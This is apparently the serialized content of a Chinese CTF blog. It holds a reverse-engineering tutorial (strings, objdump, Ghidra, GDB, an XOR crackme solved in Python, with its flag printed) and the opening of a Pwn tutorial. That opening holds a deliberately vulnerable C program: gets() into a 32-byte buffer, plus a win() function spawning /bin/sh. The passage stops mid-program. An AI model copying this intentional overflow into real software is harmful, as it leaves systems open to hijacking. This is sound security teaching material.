strings：提取字符串",[15,1252,1208],{},[22,1254,1256],{"className":77,"code":1255,"language":79,"meta":27,"style":27},"strings checkflag\n",[29,1257,1258],{"__ignoreMap":27},[32,1259,1260,1263],{"class":34,"line":35},[32,1261,1262],{"class":86},"strings",[32,1264,1221],{"class":90},[15,1266,1224],{},[22,1268,1271],{"className":1269,"code":1270,"language":110,"meta":27},[108],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[29,1272,1270],{"__ignoreMap":27},[15,1274,1275,1276,1278,1279,1282],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[29,1277,1262],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[29,1280,1281],{},"-n"," 指定：",[22,1284,1286],{"className":77,"code":1285,"language":79,"meta":27,"style":27},"strings -n 3 checkflag\n",[29,1287,1288],{"__ignoreMap":27},[32,1289,1290,1292,1294,1297],{"class":34,"line":35},[32,1291,1262],{"class":86},[32,1293,1017],{"class":1016},[32,1295,1296],{"class":1016}," 3",[32,1298,1221],{"class":90},[15,1300,1301],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1303,1304,1306],{},[138,1305,140],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1308,1309,1311,1312,66,1315,66,1318,1321,1322,1325,1326,1329],{},[138,1310,146],{},"：输出里的 ",[29,1313,1314],{},"Usage: ./checkflag \u003Cflag>",[29,1316,1317],{},"Correct!",[29,1319,1320],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[29,1323,1324],{},"k3y","），先用 ",[29,1327,1328],{},"-n 3"," 确认——可能正是加密密钥。",[283,1331,1333],{"id":1332},"_33-运行程序观察行为","3.3 运行程序观察行为",[22,1335,1337],{"className":77,"code":1336,"language":79,"meta":27,"style":27},"./checkflag test\n",[29,1338,1339],{"__ignoreMap":27},[32,1340,1341,1344],{"class":34,"line":35},[32,1342,1343],{"class":86},"./checkflag",[32,1345,1140],{"class":90},[15,1347,1348,1349,320],{},"输出：",[29,1350,1320],{},[22,1352,1354],{"className":77,"code":1353,"language":79,"meta":27,"style":27},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[29,1355,1356],{"__ignoreMap":27},[32,1357,1358,1360],{"class":34,"line":35},[32,1359,1343],{"class":86},[32,1361,1362],{"class":90}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1364,1348,1365,1367],{},[29,1366,1320],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1369,1370,1372],{},[138,1371,140],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1374,1376],{"id":1375},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1378,1379,1381],{},[138,1380,140],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1383,1384,1386,1387,1390,1391,1394,1395,1398],{},[138,1385,146],{},"：程序要么比较字符串（",[29,1388,1389],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[29,1392,1393],{},"call","（函数调用）和 ",[29,1396,1397],{},"je/jne","（条件跳转）就能定位判断点。",[283,1400,1402],{"id":1401},"_41-objdump-看-main","4.1 objdump 看 main",[15,1404,1208],{},[22,1406,1408],{"className":77,"code":1407,"language":79,"meta":27,"style":27},"objdump -d -M intel checkflag\n",[29,1409,1410],{"__ignoreMap":27},[32,1411,1412,1415,1418,1421,1424],{"class":34,"line":35},[32,1413,1414],{"class":86},"objdump",[32,1416,1417],{"class":1016}," -d",[32,1419,1420],{"class":1016}," -M",[32,1422,1423],{"class":90}," intel",[32,1425,1221],{"class":90},[15,1427,1428],{},"输出很长，用 grep 只看 main：",[22,1430,1432],{"className":77,"code":1431,"language":79,"meta":27,"style":27},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[29,1433,1434],{"__ignoreMap":27},[32,1435,1436,1438,1440,1442,1444,1447,1450,1453,1456,1459,1463,1466],{"class":34,"line":35},[32,1437,1414],{"class":86},[32,1439,1417],{"class":1016},[32,1441,1420],{"class":1016},[32,1443,1423],{"class":90},[32,1445,1446],{"class":90}," checkflag",[32,1448,1449],{"class":1120}," |",[32,1451,1452],{"class":86}," grep",[32,1454,1455],{"class":1016}," -A",[32,1457,1458],{"class":1016}," 40",[32,1460,1462],{"class":1461},"seVfx"," '",[32,1464,1465],{"class":90},"\u003Cmain>",[32,1467,1468],{"class":1461},"'\n",[15,1470,1471],{},"预期输出（节选）：",[22,1473,1477],{"className":1474,"code":1475,"language":1476,"meta":27,"style":27},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[29,1478,1479,1484,1489,1494,1499,1504,1509,1514,1519,1524],{"__ignoreMap":27},[32,1480,1481],{"class":34,"line":35},[32,1482,1483],{},"0000000000001189 \u003Cmain>:\n",[32,1485,1486],{"class":34,"line":41},[32,1487,1488],{},"    1189:  push   rbp\n",[32,1490,1491],{"class":34,"line":47},[32,1492,1493],{},"    118a:  mov    rbp, rsp\n",[32,1495,1496],{"class":34,"line":53},[32,1497,1498],{},"    1191:  cmp    edi, 0x2\n",[32,1500,1501],{"class":34,"line":175},[32,1502,1503],{},"    1194:  jne    0x11a0\n",[32,1505,1506],{"class":34,"line":181},[32,1507,1508],{},"    119e:  call   0x1149 \u003Ccheck>\n",[32,1510,1511],{"class":34,"line":187},[32,1512,1513],{},"    11a3:  test   eax, eax\n",[32,1515,1516],{"class":34,"line":193},[32,1517,1518],{},"    11a5:  je     0x11b5\n",[32,1520,1521],{"class":34,"line":200},[32,1522,1523],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[32,1525,1526],{"class":34,"line":206},[32,1527,1528],{},"    11ae:  call   puts@plt\n",[15,1530,1531],{},"逐行解释：",[732,1533,1534,1544],{},[735,1535,1536],{},[738,1537,1538,1541],{},[741,1539,1540],{},"指令",[741,1542,1543],{},"含义",[748,1545,1546,1556,1566,1576],{},[738,1547,1548,1553],{},[753,1549,1550],{},[29,1551,1552],{},"cmp edi, 0x2",[753,1554,1555],{},"比较参数个数 argc 是否为 2",[738,1557,1558,1563],{},[753,1559,1560],{},[29,1561,1562],{},"call check",[753,1564,1565],{},"调用校验函数 check",[738,1567,1568,1573],{},[753,1569,1570],{},[29,1571,1572],{},"test eax, eax",[753,1574,1575],{},"检查返回值是否为 0",[738,1577,1578,1583],{},[753,1579,1580],{},[29,1581,1582],{},"je 0x11b5",[753,1584,1585],{},"为 0 则跳到打印 Wrong 的地方",[15,1587,1588,1589,1592],{},"结论：逻辑在 ",[29,1590,1591],{},"check"," 函数里。",[15,1594,1595,1598,1599,1601,1602,1604,1605,1608,1609,1611,1612,320],{},[138,1596,1597],{},"怎么想到看 check","：",[29,1600,1562],{}," 之后紧跟 ",[29,1603,1572],{}," 和 ",[29,1606,1607],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[29,1610,1591],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[29,1613,1591],{},[283,1615,1617],{"id":1616},"_42-看-check","4.2 看 check",[22,1619,1621],{"className":77,"code":1620,"language":79,"meta":27,"style":27},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[29,1622,1623],{"__ignoreMap":27},[32,1624,1625,1627,1629,1631,1633,1635,1637,1639,1641,1644,1646,1649],{"class":34,"line":35},[32,1626,1414],{"class":86},[32,1628,1417],{"class":1016},[32,1630,1420],{"class":1016},[32,1632,1423],{"class":90},[32,1634,1446],{"class":90},[32,1636,1449],{"class":1120},[32,1638,1452],{"class":86},[32,1640,1455],{"class":1016},[32,1642,1643],{"class":1016}," 50",[32,1645,1462],{"class":1461},[32,1647,1648],{"class":90},"\u003Ccheck>",[32,1650,1468],{"class":1461},[15,1652,1653],{},"如果看到：",[22,1655,1657],{"className":1474,"code":1656,"language":1476,"meta":27,"style":27},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[29,1658,1659,1664,1669],{"__ignoreMap":27},[32,1660,1661],{"class":34,"line":35},[32,1662,1663],{},"call   strcmp@plt\n",[32,1665,1666],{"class":34,"line":41},[32,1667,1668],{},"test   eax, eax\n",[32,1670,1671],{"class":34,"line":47},[32,1672,1673],{},"je     ...\n",[15,1675,1676,1677,1680],{},"说明是字符串比较，flag 就藏在 ",[29,1678,1679],{},".rodata"," 里。",[15,1682,1683,1598,1686,1689,1690,1693,1694,1696],{},[138,1684,1685],{},"验证方式",[29,1687,1688],{},"call strcmp@plt"," 前面通常有一条 ",[29,1691,1692],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[29,1695,1679],{}," 里找内容即可。",[283,1698,1700],{"id":1699},"_43-看只读数据段","4.3 看只读数据段",[22,1702,1704],{"className":77,"code":1703,"language":79,"meta":27,"style":27},"objdump -s -j .rodata checkflag\n",[29,1705,1706],{"__ignoreMap":27},[32,1707,1708,1710,1713,1716,1719],{"class":34,"line":35},[32,1709,1414],{"class":86},[32,1711,1712],{"class":1016}," -s",[32,1714,1715],{"class":1016}," -j",[32,1717,1718],{"class":90}," .rodata",[32,1720,1221],{"class":90},[15,1722,1224],{},[22,1724,1727],{"className":1725,"code":1726,"language":110,"meta":27},[108],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[29,1728,1726],{"__ignoreMap":27},[15,1730,1731,1732,1735,1736,320],{},"ASCII 十六进制 ",[29,1733,1734],{},"63 6f 6e 67..."," 解出来就是 ",[29,1737,1738],{},"congratulations",[15,1740,1741,1744,1745,1747,1748,1751],{},[138,1742,1743],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[29,1746,1679],{},"，",[29,1749,1750],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[283,1753,1755],{"id":1754},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,1757,1758],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[22,1760,1762],{"className":77,"code":1761,"language":79,"meta":27,"style":27},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[29,1763,1764,1776,1791,1803],{"__ignoreMap":27},[32,1765,1766,1768,1770,1773],{"class":34,"line":35},[32,1767,1163],{"class":86},[32,1769,91],{"class":90},[32,1771,1772],{"class":90}," openjdk-21-jdk",[32,1774,1775],{"class":90}," unzip\n",[32,1777,1778,1781,1784,1788],{"class":34,"line":41},[32,1779,1780],{"class":86},"wget",[32,1782,1783],{"class":90}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[32,1785,1787],{"class":1786},"sqerP","*",[32,1789,1790],{"class":90},".zip\n",[32,1792,1793,1796,1799,1801],{"class":34,"line":47},[32,1794,1795],{"class":86},"unzip",[32,1797,1798],{"class":90}," ghidra_",[32,1800,1787],{"class":1786},[32,1802,1790],{"class":90},[32,1804,1805,1809,1811,1813,1816,1819],{"class":34,"line":53},[32,1806,1808],{"class":1807},"sLL85","cd",[32,1810,1798],{"class":90},[32,1812,1787],{"class":1786},[32,1814,1815],{"class":90},"_PUBLIC",[32,1817,1818],{"class":1127}," && ",[32,1820,1821],{"class":86},"./ghidraRun\n",[15,1823,1824],{},"操作步骤：",[1826,1827,1828,1832,1838,1841],"ol",{},[1829,1830,1831],"li",{},"File → New Project → 命名。",[1829,1833,1834,1835,1837],{},"把 ",[29,1836,1186],{}," 拖进项目，双击导入。",[1829,1839,1840],{},"等待自动分析完成。",[1829,1842,1843,1844,1847],{},"左侧 Symbol Tree 双击 ",[29,1845,1846],{},"main","，右侧 Decompiler 显示伪代码。",[15,1849,1850],{},"预期伪代码：",[22,1852,1856],{"className":1853,"code":1854,"language":1855,"meta":27,"style":27},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n","c",[29,1857,1858,1863,1868,1873],{"__ignoreMap":27},[32,1859,1860],{"class":34,"line":35},[32,1861,1862],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[32,1864,1865],{"class":34,"line":41},[32,1866,1867],{},"    puts(\"Correct!\");\n",[32,1869,1870],{"class":34,"line":47},[32,1871,1872],{},"else\n",[32,1874,1875],{"class":34,"line":53},[32,1876,1877],{},"    puts(\"Wrong!\");\n",[15,1879,1880],{},"flag 直接可见。",[10,1882,1884],{"id":1883},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,1886,1887],{},"静态分析看不懂时，让程序跑起来。",[15,1889,1890,1892],{},[138,1891,140],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,1894,1895,1897,1898,1901],{},[138,1896,146],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[29,1899,1900],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[22,1903,1905],{"className":77,"code":1904,"language":79,"meta":27,"style":27},"gdb ./checkflag\n",[29,1906,1907],{"__ignoreMap":27},[32,1908,1909,1912],{"class":34,"line":35},[32,1910,1911],{"class":86},"gdb",[32,1913,1109],{"class":90},[15,1915,1916],{},"进入 GDB 交互后：",[283,1918,1920],{"id":1919},"_51-下断点","5.1 下断点",[22,1922,1925],{"className":1923,"code":1924,"language":1911,"meta":27,"style":27},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[29,1926,1927],{"__ignoreMap":27},[32,1928,1929],{"class":34,"line":35},[32,1930,1924],{},[15,1932,1224],{},[22,1934,1937],{"className":1935,"code":1936,"language":110,"meta":27},[108],"Breakpoint 1 at 0x1149\n",[29,1938,1936],{"__ignoreMap":27},[283,1940,1942],{"id":1941},"_52-带参数运行","5.2 带参数运行",[22,1944,1946],{"className":1923,"code":1945,"language":1911,"meta":27,"style":27},"(gdb) run test\n",[29,1947,1948],{"__ignoreMap":27},[32,1949,1950],{"class":34,"line":35},[32,1951,1945],{},[15,1953,1224],{},[22,1955,1958],{"className":1956,"code":1957,"language":110,"meta":27},[108],"Breakpoint 1, 0x0000555555555149 in check ()\n",[29,1959,1957],{"__ignoreMap":27},[15,1961,1962],{},"程序停在 check 入口。",[283,1964,1966],{"id":1965},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[22,1968,1970],{"className":1923,"code":1969,"language":1911,"meta":27,"style":27},"(gdb) x/20i $rip\n",[29,1971,1972],{"__ignoreMap":27},[32,1973,1974],{"class":34,"line":35},[32,1975,1969],{},[15,1977,1978],{},"输出 check 函数开头的 20 条汇编。",[283,1980,1982],{"id":1981},"_54-单步并观察比较","5.4 单步并观察比较",[22,1984,1986],{"className":1923,"code":1985,"language":1911,"meta":27,"style":27},"(gdb) stepi\n",[29,1987,1988],{"__ignoreMap":27},[32,1989,1990],{"class":34,"line":35},[32,1991,1985],{},[15,1993,1994,1995,1997],{},"反复执行直到看到 ",[29,1996,1688],{},"。然后：",[22,1999,2001],{"className":1923,"code":2000,"language":1911,"meta":27,"style":27},"(gdb) x/s $rsi\n",[29,2002,2003],{"__ignoreMap":27},[32,2004,2005],{"class":34,"line":35},[32,2006,2000],{},[15,2008,2009],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2011,2012,1598,2015,2018,2019,2022,2023,2026,2027,2018,2030,2033],{},[138,2013,2014],{},"补充说明",[29,2016,2017],{},"x/s"," 的 ",[29,2020,2021],{},"s"," 表示按字符串显示；",[29,2024,2025],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[29,2028,2029],{},"strcmp(a, b)",[29,2031,2032],{},"b"," 就存在这里。",[15,2035,2036,2037,2040],{},"补充：如果嫌 GDB 麻烦，",[29,2038,2039],{},"ltrace"," 直接跟踪库调用：",[22,2042,2044],{"className":77,"code":2043,"language":79,"meta":27,"style":27},"ltrace ./checkflag test\n",[29,2045,2046],{"__ignoreMap":27},[32,2047,2048,2050,2052],{"class":34,"line":35},[32,2049,2039],{"class":86},[32,2051,1117],{"class":90},[32,2053,1140],{"class":90},[15,2055,2056],{},"预期输出中会出现：",[22,2058,2061],{"className":2059,"code":2060,"language":110,"meta":27},[108],"strcmp(\"test\", \"congratulations\") = 1\n",[29,2062,2060],{"__ignoreMap":27},[15,2064,2065],{},"flag 一目了然。",[15,2067,2068,2071],{},[138,2069,2070],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2073,2075],{"id":2074},"六必学工具","六、必学工具",[732,2077,2078,2090],{},[735,2079,2080],{},[738,2081,2082,2084,2087],{},[741,2083,816],{},[741,2085,2086],{},"核心功能",[741,2088,2089],{},"命令示例",[748,2091,2092,2104,2122,2137],{},[738,2093,2094,2096,2099],{},[753,2095,1218],{},[753,2097,2098],{},"看类型、位数、是否 stripped",[753,2100,2101],{},[29,2102,2103],{},"file checkflag",[738,2105,2106,2108,2111],{},[753,2107,1262],{},[753,2109,2110],{},"提取字符串、指定最小长度、管道过滤",[753,2112,2113,66,2116,66,2119],{},[29,2114,2115],{},"strings checkflag",[29,2117,2118],{},"strings -n 3 a",[29,2120,2121],{},"strings a | grep flag",[738,2123,2124,2126,2129],{},[753,2125,1414],{},[753,2127,2128],{},"反汇编、看数据段、Intel 语法",[753,2130,2131,66,2134],{},[29,2132,2133],{},"objdump -d -M intel a",[29,2135,2136],{},"objdump -s -j .rodata a",[738,2138,2139,2142,2145],{},[753,2140,2141],{},"GDB",[753,2143,2144],{},"断点、运行、看内存/寄存器",[753,2146,2147,66,2150,66,2153],{},[29,2148,2149],{},"break check",[29,2151,2152],{},"run",[29,2154,2155],{},"x/20i $rip",[15,2157,2158,2159,2161,2162,2165],{},"另：Ghidra 负责把汇编还原成伪代码；",[29,2160,2039],{},"/",[29,2163,2164],{},"strace"," 负责快速跟踪函数与系统调用。",[10,2167,2169],{"id":2168},"七小-ctf-实战一个-xor-加密的-crackme","七、小 CTF 实战：一个 XOR 加密的 CrackMe",[15,2171,888,2172,2175],{},[29,2173,2174],{},"crackme","，校验函数把输入和密钥异或后与密文比较。",[283,2177,2179],{"id":2178},"第一步侦查","第一步：侦查",[15,2181,2182,2184],{},[138,2183,140],{},"：先找密钥与提示。",[15,2186,2187,1598,2189,2191,2192,2194,2195,2197],{},[138,2188,146],{},[29,2190,1262],{}," 默认漏掉短串，所以用 ",[29,2193,1328],{},"；看到 ",[29,2196,1324],{}," 猜测是 XOR 密钥，接下来去确认校验函数。",[22,2199,2201],{"className":77,"code":2200,"language":79,"meta":27,"style":27},"strings -n 3 crackme\n",[29,2202,2203],{"__ignoreMap":27},[32,2204,2205,2207,2209,2211],{"class":34,"line":35},[32,2206,1262],{"class":86},[32,2208,1017],{"class":1016},[32,2210,1296],{"class":1016},[32,2212,2213],{"class":90}," crackme\n",[15,2215,2216,2217,2219],{},"预期输出中有 ",[29,2218,1324],{},"——疑似密钥。",[283,2221,2223],{"id":2222},"第二步反编译-check","第二步：反编译 check",[15,2225,2226,2228],{},[138,2227,140],{},"：确认密钥如何使用、密文数组是什么。",[15,2230,2231,2233,2234,2237],{},[138,2232,1685],{},"：伪代码 ",[29,2235,2236],{},"input[i] ^ key[i%3] != enc[i]"," 说明每一位输入与 key 循环异或后要和 enc 相等——逆向就是再异或一次。",[15,2239,2240,2241,2243],{},"用 Ghidra 打开，",[29,2242,1591],{}," 伪代码：",[22,2245,2247],{"className":1853,"code":2246,"language":1855,"meta":27,"style":27},"if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,2248,2249],{"__ignoreMap":27},[32,2250,2251],{"class":34,"line":35},[32,2252,2246],{},[283,2254,2256],{"id":2255},"第三步写脚本逆运算","第三步：写脚本逆运算",[15,2258,2259,2261],{},[138,2260,140],{},"：把\"加密\"反过来算，得到明文。",[15,2263,2264,2266,2267,2270],{},[138,2265,146],{},"：异或的自反性 ",[29,2268,2269],{},"A^B=C => C^B=A","。对密文数组的每一位，用 key 按位置循环异或，即还原明文。",[22,2272,2274],{"className":24,"code":2273,"language":26,"meta":27,"style":27},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"                                        # 从 strings 找到的密钥\nflag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n# 所以 flag[i] = enc[i] ^ key[i%3]。\nprint(flag.decode())\n# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[29,2275,2276,2281,2286,2291,2296,2301,2306,2311,2316,2321,2326,2331],{"__ignoreMap":27},[32,2277,2278],{"class":34,"line":35},[32,2279,2280],{},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[32,2282,2283],{"class":34,"line":41},[32,2284,2285],{},"       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[32,2287,2288],{"class":34,"line":47},[32,2289,2290],{},"       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\n",[32,2292,2293],{"class":34,"line":53},[32,2294,2295],{},"key = b\"k3y\"                                        # 从 strings 找到的密钥\n",[32,2297,2298],{"class":34,"line":175},[32,2299,2300],{},"flag = bytes([c ^ key[i % 3] for i, c in enumerate(enc)])\n",[32,2302,2303],{"class":34,"line":181},[32,2304,2305],{},"# bytes([...])：把列表里的整数逐个转成字节，组成 bytes 对象。\n",[32,2307,2308],{"class":34,"line":187},[32,2309,2310],{},"# 列表推导式含义：对 enc 的第 i 个字节 c，与 key 的第 (i % 3) 个字节异或。\n",[32,2312,2313],{"class":34,"line":193},[32,2314,2315],{},"# i % 3 让密钥循环使用（0,1,2,0,1,2,...），与 C 源码 key[i % 3] 完全对应。\n",[32,2317,2318],{"class":34,"line":200},[32,2319,2320],{},"# 异或结果就是明文字节；因为 enc[i] = flag[i] ^ key[i%3]，\n",[32,2322,2323],{"class":34,"line":206},[32,2324,2325],{},"# 所以 flag[i] = enc[i] ^ key[i%3]。\n",[32,2327,2328],{"class":34,"line":212},[32,2329,2330],{},"print(flag.decode())\n",[32,2332,2333],{"class":34,"line":218},[32,2334,2335],{},"# decode()：把 bytes 按 UTF-8 解码成字符串显示，方便直接看到 flag。\n",[15,2337,1348],{},[22,2339,2342],{"className":2340,"code":2341,"language":110,"meta":27},[108],"ctf{reverse_engineering}\n",[29,2343,2341],{"__ignoreMap":27},[283,2345,2347],{"id":2346},"第四步验证","第四步：验证",[22,2349,2351],{"className":77,"code":2350,"language":79,"meta":27,"style":27},"./crackme ctf{reverse_engineering}\n",[29,2352,2353],{"__ignoreMap":27},[32,2354,2355,2358],{"class":34,"line":35},[32,2356,2357],{"class":86},"./crackme",[32,2359,2360],{"class":90}," ctf{reverse_engineering}\n",[15,2362,1348,2363,320],{},[29,2364,1317],{},[10,2366,2368],{"id":2367},"八小结","八、小结",[15,2370,2371,2372,2161,2374,2376,2377,2379],{},"逆向入门三步：",[29,2373,1218],{},[29,2375,1262],{}," 侦查 → ",[29,2378,1414],{},"/Ghidra 定位校验函数 → GDB 验证。大部分入门题要么字符串直接可见，要么只是一个异或，逆运算一行脚本即可解决。",[1051,2381,2382],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":27,"searchDepth":41,"depth":41,"links":2384},[2385,2386,2387,2388,2389,2390,2391,2392],{"id":1089,"depth":47,"text":1090},{"id":73,"depth":47,"text":74},{"id":1190,"depth":47,"text":1191},{"id":1375,"depth":47,"text":1376},{"id":1883,"depth":47,"text":1884},{"id":2074,"depth":47,"text":2075},{"id":2168,"depth":47,"text":2169},{"id":2367,"depth":47,"text":2368},"完整演示逆向三板斧：file/strings 侦查、objdump 反汇编定位校验函数、GDB 动态调试，并举例一个CrackMe。",{"date":1069,"image":2395,"alt":2396,"tags":2397,"published":196},"/blogs-img/blog1.png","CTF 逆向入门",[1073,2398,1076],"reverse","/blogs/ctf-reverse-overview",{"title":1084,"description":2393},"blogs/10. ctf-reverse-overview","-PAtS7ArHlkJGQ0r9XrzjT8-num-kddi5E7M-GpdxHI",{"id":2404,"title":2405,"body":2406,"description":3260,"extension":1067,"meta":3261,"navigation":196,"ogImage":3262,"path":3265,"seo":3266,"stem":3267,"__hash__":3268},"content/blogs/11. ctf-pwn-overview.md","CTF Pwn 入门：栈布局、checksec 与 pwntools",{"type":7,"value":2407,"toc":3248},[2408,2412,2419,2425,2427,2429,2455,2459,2465,2560,2563,2599,2603,2608,2613,2615,2631,2633,2639,2642,2700,2704,2710,2716,2723,2792,2797,2801,2805,2843,2845,2851,2855,2863,2873,2882,2886,2931,2940,2944,2949,2954,3023,3026,3032,3043,3045,3117,3121,3129,3132,3145,3156,3161,3166,3223,3225,3231,3233,3245],[10,2409,2411],{"id":2410},"一现实背景gets-为什么危险","一、现实背景：gets 为什么危险",[15,2413,2414,2415,2418],{},"C 语言函数 ",[29,2416,2417],{},"gets"," 不检查输入长度。缓冲区只有 32 字节，输入 100 字节时，多出的 68 字节会写进相邻内存，覆盖函数调用信息。现代系统为对抗这类问题启用了防护（栈金丝雀、地址随机化等），Pwn 方向就是研究如何在防护下完成利用。",[15,2420,2421,2422,320],{},"本文只讲一条主线：",[138,2423,2424],{},"栈溢出 → 覆盖返回地址 → 跳转执行目标函数",[10,2426,74],{"id":73},[15,2428,1153],{},[22,2430,2432],{"className":77,"code":2431,"language":79,"meta":27,"style":27},"apt install gcc gdb\npip3 install pwntools\n",[29,2433,2434,2446],{"__ignoreMap":27},[32,2435,2436,2438,2440,2443],{"class":34,"line":35},[32,2437,1163],{"class":86},[32,2439,91],{"class":90},[32,2441,2442],{"class":90}," gcc",[32,2444,2445],{"class":90}," gdb\n",[32,2447,2448,2450,2452],{"class":34,"line":41},[32,2449,87],{"class":86},[32,2451,91],{"class":90},[32,2453,2454],{"class":90}," pwntools\n",[10,2456,2458],{"id":2457},"三漏洞程序与编译","三、漏洞程序与编译",[15,2460,2461,2462,1598],{},"保存 ",[29,2463,2464],{},"vuln.c",[22,2466,2468],{"className":1853,"code":2467,"language":1855,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[29,2469,2470,2475,2480,2484,2489,2494,2499,2503,2508,2513,2518,2522,2526,2531,2536,2541,2546,2551,2556],{"__ignoreMap":27},[32,2471,2472],{"class":34,"line":35},[32,2473,2474],{},"#include \u003Cstdio.h>\n",[32,2476,2477],{"class":34,"line":41},[32,2478,2479],{},"#include \u003Cstdlib.h>\n",[32,2481,2482],{"class":34,"line":47},[32,2483,197],{"emptyLinePlaceholder":196},[32,2485,2486],{"class":34,"line":53},[32,2487,2488],{},"void win() {\n",[32,2490,2491],{"class":34,"line":175},[32,2492,2493],{},"    system(\"/bin/sh\");\n",[32,2495,2496],{"class":34,"line":181},[32,2497,2498],{},"}\n",[32,2500,2501],{"class":34,"line":187},[32,2502,197],{"emptyLinePlaceholder":196},[32,2504,2505],{"class":34,"line":193},[32,2506,2507],{},"void vuln() {\n",[32,2509,2510],{"class":34,"line":200},[32,2511,2512],{},"    char buf[32];\n",[32,2514,2515],{"class":34,"line":206},[32,2516,2517],{},"    gets(buf);\n",[32,2519,2520],{"class":34,"line":212},[32,2521,2498],{},[32,2523,2524],{"class":34,"line":218},[32,2525,197],{"emptyLinePlaceholder":196},[32,2527,2528],{"class":34,"line":224},[32,2529,2530],{},"int main() {\n",[32,2532,2533],{"class":34,"line":230},[32,2534,2535],{},"    setvbuf(stdout, NULL, _IONBF, 